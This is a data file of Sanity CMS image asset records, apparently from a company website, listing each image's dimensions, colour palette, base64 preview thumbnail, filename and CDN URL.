{"_createdAt":"2022-06-30T20:00:06Z","_id":"image-51e50c9849e1de8dd3b6c8681ce959b58254da11-624x391-png","_rev":"cEPH2uRN58AU2lp9QO82Ir","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:24:22Z","assetId":"51e50c9849e1de8dd3b6c8681ce959b58254da11","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V0264w_MjIiisE0cEvt7r_aMl4pFNFM{Wn-;WnbFWURj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5959079283887467,"height":391,"width":624},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAABJ0AAASdAHeZh94AAABPUlEQVQokY2QDYuHIAyHdVuWmamVpfZ23/9THirB/zi47kGGGzw/xhhpwoB4IJ6UX0LwiIkwIlfAOPsLGghXzM6OkBBWAAewIQTk/X9kjxiLn2WEqcgbcslf5GZoshyyDxFhAW44LHn5d1kNqnMdTQQWuAE+AJc8Vw1cvMnTMI96bHWLHXLiDDlDVuqbyRjz2jvthnFoZUsNERH+hB4Qkf+EbfPmJz/Ps5ucMWb8QGutlBoe+r4XQjQPRMRCCGHLJcaYv9u2rmvuQ1iWxVprjLGFcRxVoQZJKVkspJT2fU8pVb8OvffGGP2glOoLSikpZdd1bC8chRpRU1JK67oaY6rTya5pms9bAAA7z3Pf97NwHMd1Xfd912GM0VorpRRC1Gt9Xjq3931X+bqu8zy/CjXoOI4Yo3NOCPHbRMRvezEdpiu4GggAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#49274a","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#190424","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#49274a","foreground":"#fff","population":0.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfcfcf","foreground":"#000","population":0.03,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d7a1d7","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a46a9a","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c347c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"51e50c9849e1de8dd3b6c8681ce959b58254da11-624x391.png","path":"images/sczeoy4w/production/51e50c9849e1de8dd3b6c8681ce959b58254da11-624x391.png","sha1hash":"51e50c9849e1de8dd3b6c8681ce959b58254da11","size":108487,"uploadId":"Od8Ab3TKbPTFLFKUvLn0AwnSXcJXj2S9","url":"https://cdn.sanity.io/images/sczeoy4w/production/51e50c9849e1de8dd3b6c8681ce959b58254da11-624x391.png"} {"_createdAt":"2024-01-17T11:20:26Z","_id":"image-5213fc8d4c0c093bef1ba24b2dc8f6829f17fbe1-2500x2500-png","_rev":"ZLvKaZvfbZlWBlGcoqLvoT","_type":"sanity.imageAsset","_updatedAt":"2024-01-17T11:20:26Z","assetId":"5213fc8d4c0c093bef1ba24b2dc8f6829f17fbe1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e8A9$[036I|:4-7O#*,-5UxYNdsls.NeWE+ZI=Ot=wWB9ts8-VOFWW","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFRUlEQVQ4jVWSa0yTVxjHD8xEo33fUux7eoHeKaUVQe5CUZByKwjtOW8pxUpBUHAMjTpQJgNFLooKKvPCXV2GiXhLNrfED5vZErMv+7xPTpfsw5xzbm4aN5XzLG9B1JP8c86nX/6/8zyIxxRxAkGcQJfxmDrlmLYpVLRXoRYPRanFPrlK7OMx7ecxHVjIYSmcQAbVxkBvQWlb4Ojxi1oAQOHDY4JWCBTJBMrzmDSp1N7vLXrxvjV+812jLfQT1lXf4zG9JxPIfW4hPKb3ZUrysy4ueFcMdM+MT15xAsB7YSiPScRyZRi4ksekU6Mlv9nNVZCYWA+2pEaIsQQhWuODKLUPFGofyFUiyDEFmZKAwVYLNaGeO9MXrrsBYEkYyAkULVNUIpmSCHJMD2gNgQerkhogOb15LjGtmTlSmlhC8laWkLwt/Dbb65ky1j8nUxJmTKh9VRM69O30hWuFiw05TFHEcjeSKb1q6c9MCXW/5xZ8CMUb989tKNnL8ora2YaSfczl7mAlFZ3MuWEP08eHGI8pmMLAnq8np6/lAUDkgjJFKKIArVjpjVFofIPWxIZHhWUdQKoPsY20G0oq9kNpZSeUebugnHRBfnE7WBxbmFxFwWQPScBbE1NXcyTYYkOE8iSgXqHxDcUlNjzOK2qHctLNykk3uD0fw+t7fVE7JGe2gNYcDDc020MvArUHb45PXsl8a8oSsEBSNkWpxRFDfOjP1OxWkNTWF7ZBfvFecLn3wXrXblid0gA6cwAUGh/jBCIB/6vefODG2MRs2jwNSQ0JWsKVS7sYx2N6Thnjf6I1B0FnrWWG+BCYEurAtqoOUpP8kOkoB4fJDWptJZNjAhZH6Lk/2H353Njl5EXgm8UmNh7TCR7TvyUdHtOwlrQisbGVsM5eAP60bPCucUKOrYAlWYrBmeZ/1lD30WcT4zOJ7wAX4uAEcoETyFNJhxNIWIuX1PRlQFNyYNe6NbAjNwWastOYdO8pc/3T+0Hr9KWp8wlvlOfbSVnNYzrDY/rsdUNOkBoScJhKYVt2OgwU26Gn0CGFjVVaYDKY8WSqvWHsxvkxax5CaEv0u8BkHtNZHtPn80CyCEyNK4J9+Ukw6THBmY0WGHZb2YTHDOObsv6aaGv45MrkWXO9IxZ1OM0Lf4hFCZjGY3Kdx+Q/HpNFYJSKQLbNBYMlNvgioIHZqlg4VRbH+ood0O3Jf9zfsn146vSoXszzoiZ3xXxDucongTM5TG9ymL54Szk8zbU2Fwy74+F2rQBf1mjYlMfITpTZ4BDJe9T7fvOR0ZHRmBrSjFoD9QgpY/3IYq+L4ATilKvoLawPvNRba5naWDMXpRIZLxCWYCxle/OT2OcBDZutimXnvYa5GZ8BztSsfXi4ZWvvyeFxlW9TJ9rduBOhaK0PxSeGImVKkh+tEW9bHSGWnbsdViXXg1Lrk6YNRl051GdlwCVRD9f9MTDtMc5drjLAp6H0Bydb67uODI4pt7YMoM5d+xGKUoso1uSP5ATqVKjFWbO1+pe01ODDBEf1H0otfcJj8tSkL/93c0bWy2mv8dUlUT93vDR+7mylFS7WZvw6sSvYcerYacXRniPoxMGDEUiuomilhkbwmOrkKurDMaRdb/T0aHXeYwo1PSdXiRcNuoqr1enZXw2547/pK7LfaXWm/NDpSvpxqCr3u5OtocZTx09zJwaG0EjfAAoDeSxKTSPlKnGpXCXK5CoxWqHxaaO1PpNCU2WP0XlTKlLycnauSy2pSsup8iTnNDY7M/a0l7t2dDY0ZvUfHl3a1T2C+g8cQ/8DOyU8QQgQ3BoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#35335b","foreground":"#fff","population":0.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6f320b","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e76b0c","foreground":"#fff","population":0.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abb5c8","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8b480","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a46667","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e76b0c","foreground":"#fff","population":0.95,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Artboard 1.png","path":"images/sczeoy4w/production/5213fc8d4c0c093bef1ba24b2dc8f6829f17fbe1-2500x2500.png","sha1hash":"5213fc8d4c0c093bef1ba24b2dc8f6829f17fbe1","size":829337,"uploadId":"ZzfBOCkplIdUIK56CycnCxQV4UgZSLj6","url":"https://cdn.sanity.io/images/sczeoy4w/production/5213fc8d4c0c093bef1ba24b2dc8f6829f17fbe1-2500x2500.png"} {"_createdAt":"2022-07-27T16:05:37Z","_id":"image-52b0154a86a3bb8fa2a2f41beaa9f8a9b1df88f0-2708x1771-png","_rev":"3LEiDiBGUONu1t3vrhFQjr","_type":"sanity.imageAsset","_updatedAt":"2022-07-27T16:05:37Z","assetId":"52b0154a86a3bb8fa2a2f41beaa9f8a9b1df88f0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VILz,Hxu00ai00$ja{S4jHay0KWB={bF%MysjIVEbsM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5290796160361377,"height":1771,"width":2708},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAADQ0lEQVQ4jV3Ty2tdVRQG8G0SNcnV/0B0dDMQoQlOAp014FBwIjgpCf4P3rGSgdSBgtAIekEptiAWdVAVQW17Aym1JtE0Nfdhk+Zxzn2d136tvfba5yxJUyg4+FiDD36TxSfG41TkWSHieCiU0jNK6ZeU0nWtzdyTWzfG1o2ButS2nktbl8rWTzsp1ctK6ReU0s9YC0JKJUSW5aIsK5HnxYRS+tWikI0iL76QUjbzPG8qqZpG26ZW0Exz24xGtplmplnkRbMo5PtGm0VE/2xZVcIYewZWJZ2Ck0qb84XU14pCd6SyvULqrtLQ09b3tKFeKn0vTrGbKewqbXpKmxvG2jedc9PB+zMwTTOhkMVwLCeM1q8bmXxq8ui2zY7WbXrUguRwHcbH6zA6WTeDqCXjuGXifgv6gxak2VdWmzcM4vOW+Sk4ZBZHKU84ky7SePNKeHhtj3Yvd2h7re03Pu5Q65MO3Vzr0M+fdcJPV9rhu6vt8P0PHbq3/aMfJW9Z5mlgFgDuFMxFwiwO+zzhIbtAw7u/+Z3Pvd/4MMCdj0L+6wdB/7Ia/I1LAb+5FOjbtVB+fZnKq1+GcOfufRqly8A865iFc/gERBYP7w8mPbklX/Rvmb2tyvy9wdn+Nvf2/uCou8mqu835X/fYtnc4tP/ksr3JoR/9Q9atQMD/gUkm/t3qTvoyLHmLN/VhGvT+mJNUVw/irDoY5lU/19X+SFaJgip4qEqyHIJ/QBRWwNrZU+wxGMcDoZQVB51Hk57oAiH9joUNLjNVLm356GRYxgdH5X4/KreiQXmUyJIolFVVVSGUu0S0DOCegkmSCimNiKLBJCIuEdHtQMRExAYcZ6OU8+NjPhlG3B4MOcoUow9cliUThT3vacU5nEX0Z+DOzq5gZhEPkgkAOI/OXffojr33sUOMwJjIyCKSWkeJhig3PnJIEaKPEfEWIr7tHM4QhbMvLy4uTszNzU1dvLg8labpK2DNOwD2PedcAx02HELDgmmAw4Z2oaEgNMBRA6xrAMC7zrnXANyU9yRO5yfm5+enz52bf3FhYaG2urr6nFJqGhFrzmENHNassTWrVE1pXcu0rUnjauD8WQ9uxlqYUkoLrc3j/AcmQT8YnHZlVwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#743c3c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#193957","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f89713","foreground":"#000","population":1.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdc4c9","foreground":"#000","population":0.84,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbd66d","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a9998","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f89713","foreground":"#000","population":1.54,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"infographic-aiven-data-infrastructure.png","path":"images/sczeoy4w/production/52b0154a86a3bb8fa2a2f41beaa9f8a9b1df88f0-2708x1771.png","sha1hash":"52b0154a86a3bb8fa2a2f41beaa9f8a9b1df88f0","size":108354,"uploadId":"5GGkCno5OM0rjLxnpfLu0TGKQKl3KvPa","url":"https://cdn.sanity.io/images/sczeoy4w/production/52b0154a86a3bb8fa2a2f41beaa9f8a9b1df88f0-2708x1771.png"} {"_createdAt":"2023-03-15T12:51:39Z","_id":"image-52b88d52a12e08f1584cebeb86b5aaadd95bab37-800x800-jpg","_rev":"FyKybxTQXmO9mB4Bp10nEH","_type":"sanity.imageAsset","_updatedAt":"2023-03-15T12:51:39Z","assetId":"52b88d52a12e08f1584cebeb86b5aaadd95bab37","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGgABAAEFAAAAAAAAAAAAAAAAAAQFBgcICf/EACUQAAICAgIABQUAAAAAAAAAAAEDAgQABQYRBxITMUEhIlFxgf/EABcBAQEBAQAAAAAAAAAAAAAAAAMBAAT/xAAYEQEAAwEAAAAAAAAAAAAAAAAAAQIREv/aAAwDAQACEQMRAD8A2K51YfW4zcZVYVM8vXqD3iD7nLP4DVbVUhlW89s5TBZFkuxKJ+ceJXiTxWjRt6h21VLYTHkCl/cRL8HInDuQ67VaWF/a2I1qi4gSm0gfX46w7b1B6ZxOstYyJrdnS2dJdujZU+uwdxnCQIOMQDmM1zXOk5rJTbI9mZPZJ/eSbOzvWkRTYtvaqPtCUyQP5jGdWIqOq5fv9TUFXXbW1XrgkiEGEAHGMZMhn//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#564138","foreground":"#fff","population":1.8,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04041c","foreground":"#fff","population":16.92,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#04041c","foreground":"#fff","population":16.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5bdb1","foreground":"#000","population":1.66,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efddd6","foreground":"#000","population":9.37,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#927368","foreground":"#fff","population":2.71,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc8c7c","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"james-arlen.jpg","path":"images/sczeoy4w/production/52b88d52a12e08f1584cebeb86b5aaadd95bab37-800x800.jpg","sha1hash":"52b88d52a12e08f1584cebeb86b5aaadd95bab37","size":111456,"uploadId":"nFOPM38dWf5ZDGmFhBwTl3rnZehNccTl","url":"https://cdn.sanity.io/images/sczeoy4w/production/52b88d52a12e08f1584cebeb86b5aaadd95bab37-800x800.jpg"} {"_createdAt":"2024-02-29T14:23:53Z","_id":"image-52c82f746fd5f05f6b59a2d0300198af45a9cf4d-2500x1308-png","_rev":"FJe7OBKE2z6aKR0FUZFnTo","_type":"sanity.imageAsset","_updatedAt":"2024-02-29T14:23:53Z","assetId":"52c82f746fd5f05f6b59a2d0300198af45a9cf4d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA8;i,-.Dzj@My?dawM_t8Rj4mM|xus;oe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAABcRAAAXEQHKJvM/AAACRElEQVQokSWOaU/aAABA+wsm0INCLyoWkGMMYXjFOOfB1Yu2tKVgFSfgECXqnHNCvMaEDAZEHS76Yxezb+/Le3mA1aE46QLJmCRTonwVd2DfHWzQ/iPaf+oOnTPhlnfmejra9seuPeFT2n9IeOsIVbE6ixZUBWBcC8drHzbOPqYu1tnLBH+bFO7WMj9XUp11rp8URynpMSWN0/J9UuiuZm5iSy3SdwyRVRAvAQihxxYPE3yLlW4kvSPpvwStx6t9VvmdUYai/ie3+SwVXiRjLBeGXO5XfLnt8jfRyVPUfQIgpB5dOEjyTU66UYxurtAXtJ6oDwRtxCojyRir5kvWeBbzY6V4z+UGkcU27jlH3V8xT/NVfje7v8FeZLLXWe1OzvcEtcfl+pwyELR7ufCUNf5y6lNafuCUQVLohOe+2ekqTO6hk0cATGgz8/UE10yLV6z8g891MnKXVXqiPpLyj5z6sMqOFtZ68eX2+6VWZP6LO/AZwk0bZsJkFYAwNTJXT/DNBH+5zl5t8LdrbDspdnl1yCnDlXQ3NHvlCnzHvSeOyT07VUKoXYjYBfESRFQAm0NhvGY0XovMNYLRQ1+k4YscB6JnofhFMHbGvG1gU3XEdQCRNSu2ZUENiCjDVA3ESzZnEQBRiSHlkH9rOrxHecsIuQNTZcRVs9MHMFUFMdPmNCFiFyLKNmzT4si/MlmxOo0JuwKA9ixNSD5PkQmW8alPEFH634apOkRUrY6CBdVt2DaI71gcxgSqgfi27XUh9waR/gFpFap+MRFiEAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#362854","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":12.89,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":12.89,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#949ac3","foreground":"#000","population":1.36,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#adb4da","foreground":"#000","population":0.84,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac7868","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ba4347","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Serverless event driven architecture with AWS Lambda functions and Apache Kafka_social_media.png","path":"images/sczeoy4w/production/52c82f746fd5f05f6b59a2d0300198af45a9cf4d-2500x1308.png","sha1hash":"52c82f746fd5f05f6b59a2d0300198af45a9cf4d","size":241588,"uploadId":"Tp0VxdSGG06FGbIQSX788cPzHzpA69jr","url":"https://cdn.sanity.io/images/sczeoy4w/production/52c82f746fd5f05f6b59a2d0300198af45a9cf4d-2500x1308.png"} {"_createdAt":"2022-09-30T15:36:46Z","_id":"image-52dd9b2704a671efa4d6de2e7978e50b0b3dcfc9-3133x1688-png","_rev":"vDQRRYe9nRreptIRp66hmm","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T18:56:34Z","assetId":"52dd9b2704a671efa4d6de2e7978e50b0b3dcfc9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MaQvH}%%SOMw-qpKNHsls.R.x]MwnNtRR*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.856042654028436,"height":1688,"width":3133},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAC4jAAAuIwF4pT92AAADDUlEQVQokUXOzW/bdBzHcf9jXLjBCXFF4sQOHECDAxoTMFi1Tu4KLKiwoinbYENts3SiPIw17dpuZVrXtW4aN3PiJP7Fduyf/Xuwk9hJ89B8vygc4PA6fC4fvRXbZR/XGq3bZt1dNWvu/VqjlZ+q1pw8sYNcwLp3uezdYiLNChFnJaNZycKs4CLLucwKFt7ijC1x0b7DRfK5UjHtrFY0zAOtHGlFgxdLVXFUNMSBdiKMapPTsBNy2QuYSCijLg2bGuW2RuOWFrTJJk1eLU6JtlVoRNTKK7bLcnXLk7VGCxuWjw1CsW75ON22yzDkCXKZIg0E1isl1PcLWNEeYVDOY3r0JY5238TR329hv6R2Os7epsJEusxEyhhPkIl0wkQKTCT/4f/qguc48ErbhsMnOXixtQT6zuKE7ZyDwfbrk8H++9gzl6PE09cVLnsrXPY4l71pCUxruExAiC4K0QEh2iCpD1J/DHzrGrCtS6AXrsHvy3Ow8csHoK+dA2dvEYWlxWlACgoXyQoXCef/H6DkMUouMeICY86xU9ew/8dFPLv5Go5yb+DJgw8xM38BZy+fx+z1j+Cv3AJWD5/EqVctKEK0V6SIecQjjLicxJxDm4XQZgF0Qh+6oQdp9RkM/7wI46W3Qay+C4/vnIdv1U9gduYCXJ35FBa/U/H5xoM4bRYLSszYShyGLA4DbId00gk96IYtSEIH0sCGNCDQd3QYGJtwqq+Cuf0j3LtxCeavfgbzczMwe+XyJPP1LO6s3Y66tafrStep5yJiCt40MW41MKUEe4GFfdrAU1rDU2riwK/g0Ddw6Onolwq4nsvgjetXcCHzDd78IYP3f1rA4ubP7Z5Z2FBSs7ggywcaNTRbkrLV800yoCYZ+BUy9A0y8stk5J2QsVciZ61jMiS7xH5xjxTy35O1pSx59nDFqj3/zY7K68fj5tO7Sr+pv9NtHH8RW6W5xCmrA99Qh76hjvyyOvZ0deyV1DOvqE5aR+qkdaiiu6cO6o9U9+BXlew/VDuVXXXi7M+h+/IrdF++9w+Y3+Q5Vo3MuAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#514c30","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#082069","foreground":"#fff","population":0.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f87708","foreground":"#fff","population":1.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4b4cc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9dc67","foreground":"#000","population":0.36,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f6849","foreground":"#fff","population":0.51,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87708","foreground":"#fff","population":1.79,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"52dd9b2704a671efa4d6de2e7978e50b0b3dcfc9-3133x1688.png","path":"images/sczeoy4w/production/52dd9b2704a671efa4d6de2e7978e50b0b3dcfc9-3133x1688.png","sha1hash":"52dd9b2704a671efa4d6de2e7978e50b0b3dcfc9","size":859188,"uploadId":"G3rxAWW0VxOyWY8QyT8XECYS5BelyMVL","url":"https://cdn.sanity.io/images/sczeoy4w/production/52dd9b2704a671efa4d6de2e7978e50b0b3dcfc9-3133x1688.png"} {"_createdAt":"2023-06-07T13:25:43Z","_id":"image-532eecee41a9fd764b7287dd55ed15bc8ca1fbbf-1920x1037-jpg","_rev":"OSa4Of7leLeKOMRysgeeM6","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T13:25:43Z","assetId":"532eecee41a9fd764b7287dd55ed15bc8ca1fbbf","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M25#eL_4%N%g-=xtkCt7ogfkk8RjV[s;kB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQCAwUH/8QAHhAAAgICAgMAAAAAAAAAAAAAAQIAAwURITEEEoH/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/AOPZIe+QsCt0O5m2tYu1L/I3kiR5thB0dxS0llJbkwqksSedQkYQj//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a2a50","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#58601c","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#848475","foreground":"#fff","population":0.77,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b2b484","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d8e198","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848475","foreground":"#fff","population":0.77,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b4c539","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"netspyglass-customer-img.jpg","path":"images/sczeoy4w/production/532eecee41a9fd764b7287dd55ed15bc8ca1fbbf-1920x1037.jpg","sha1hash":"532eecee41a9fd764b7287dd55ed15bc8ca1fbbf","size":768631,"uploadId":"5xVzy0NH0J0yrXcbYKctsJWvqGiRa3Jh","url":"https://cdn.sanity.io/images/sczeoy4w/production/532eecee41a9fd764b7287dd55ed15bc8ca1fbbf-1920x1037.jpg"} {"_createdAt":"2022-06-06T07:06:22Z","_id":"image-534be390d7d35d7bafb9645fdb65fdd98a0c01d8-476x250-jpg","_rev":"0HOthdQkSgJdYc0C9bT7Am","_type":"sanity.imageAsset","_updatedAt":"2022-06-06T07:06:22Z","assetId":"534be390d7d35d7bafb9645fdb65fdd98a0c01d8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOPsehyst7MI.STJROsAXmoMyEMdkWxbRO","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.904,"height":250,"width":476},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUCBgf/xAAjEAACAgIBAwUBAAAAAAAAAAABAgMEABEFBiExEhMUFUFx/8QAFgEBAQEAAAAAAAAAAAAAAAAAAQID/8QAGhEAAgMBAQAAAAAAAAAAAAAAAQIAAxEiMf/aAAwDAQACEQMRAD8A3o0br3nZ7TCux7BW0RiHrO5PxtJVq3HM8ciyH3G1tf0ZbYlAsse+/wC4q57j6tzkaXyoFk0T5xs0rzNKFVnxvJPpXmPtuHjtSEeskqdDXjDGteCKCIRwxqiDwqjQwxrBVQDIsYM5YDBP/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#58453e","foreground":"#fff","population":0.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4043c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5650e","foreground":"#fff","population":0.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4cccc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f06894","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c8c80","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5650e","foreground":"#fff","population":0.67,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Privacy_Policy_meta_preview.jpeg","path":"images/sczeoy4w/production/534be390d7d35d7bafb9645fdb65fdd98a0c01d8-476x250.jpg","sha1hash":"534be390d7d35d7bafb9645fdb65fdd98a0c01d8","size":27774,"uploadId":"820hCEIMe2r2d6GscepfWQniXt5YfnNN","url":"https://cdn.sanity.io/images/sczeoy4w/production/534be390d7d35d7bafb9645fdb65fdd98a0c01d8-476x250.jpg"} 